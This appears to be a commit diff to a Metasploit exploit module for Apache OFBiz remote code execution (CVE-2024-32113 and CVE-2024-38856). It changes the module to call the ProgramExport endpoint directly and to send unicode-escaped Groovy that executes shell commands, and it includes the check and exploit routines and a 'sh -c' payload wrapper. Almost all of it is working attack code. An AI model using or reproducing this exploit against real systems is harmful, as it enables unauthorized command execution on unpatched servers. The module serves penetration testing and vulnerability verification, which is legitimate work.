@@ -13,11 +13,19 @@ def initialize(info = {})
13
13
super (
14
14
update_info (
15
15
info ,
16
- 'Name' => 'Apache OFBiz Forgot Password Directory Traversal ' ,
16
+ 'Name' => 'Apache OFBiz forgotPassword/ProgramExport RCE ' ,
17
17
'Description' => %q{
18
- Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable
19
- endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint which in
20
- turn allows for remote code execution in the context of the user running the application.
18
+ Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability (CVE-2024-32113). The
19
+ vulnerable endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint
20
+ which in turn allows for remote code execution in the context of the user running the application. This was
21
+ patched in 18.12.14.
22
+
23
+ It was then discovered that the use of the path traversal vulnerability is not required in order to access
24
+ the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability
25
+ and was patched in 18.12.15.
26
+
27
+ This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the
28
+ module updated to not exploit the path traversal vulnerability allowing for exploitation on 18.12.14 as well.
21
29
} ,
22
30
'Author' => [
23
31
'Mr-xn' , # PoC
@@ -26,7 +34,8 @@ def initialize(info = {})
26
34
'References' => [
27
35
[ 'URL' , 'https://github.com/Mr-xn/CVE-2024-32113' ] ,
28
36
[ 'URL' , 'https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113' ] ,
29
- [ 'CVE' , '2024-32113' ]
37
+ [ 'CVE' , '2024-32113' ] ,
38
+ [ 'CVE' , '2024-38856' ]
30
39
] ,
31
40
'License' => MSF_LICENSE ,
32
41
'Platform' => %w[ linux win ] ,
@@ -69,9 +78,9 @@ def initialize(info = {})
69
78
end
70
79
71
80
def send_cmd_injection ( cmd )
72
- data = "groovyProgram=throw+ new+ Exception('#{ cmd } '.execute().text);"
81
+ data = "groovyProgram=#{ to_unicode_escape ( " throw new Exception('#{ cmd } '.execute().text);" ) } "
73
82
send_request_cgi ( {
74
- 'uri' => normalize_uri ( target_uri . path , '/webtools/control/forgotPassword; /ProgramExport' ) ,
83
+ 'uri' => normalize_uri ( target_uri . path , '/webtools/control/forgotPassword/ProgramExport' ) ,
75
84
'headers' => {
76
85
'HOST' => '127.0.0.1'
77
86
} ,
@@ -84,9 +93,9 @@ def check
84
93
echo_test_string = rand_text_alpha ( 8 ..12 )
85
94
case target [ 'Type' ]
86
95
when :win_cmd
87
- test_payload = to_unicode_escape ( "cmd.exe /c echo #{ echo_test_string } " )
96
+ test_payload = "cmd.exe /c echo #{ echo_test_string } "
88
97
when :unix_cmd
89
- test_payload = to_unicode_escape ( "echo #{ echo_test_string } " )
98
+ test_payload = "echo #{ echo_test_string } "
90
99
else
91
100
return CheckCode ::Unknown ( 'Please select a valid target' )
92
101
end
@@ -112,7 +121,7 @@ def exploit
112
121
when :win_cmd
113
122
res = send_cmd_injection ( payload . encoded )
114
123
when :unix_cmd
115
- res = send_cmd_injection ( to_unicode_escape ( "sh -c $@|sh . echo #{ payload . raw } " ) )
124
+ res = send_cmd_injection ( "sh -c $@|sh . echo #{ payload . raw } " )
116
125
else
117
126
fail_with ( Failure ::BadConfig , 'Invalid target specified' )
118
127
end
0 commit comments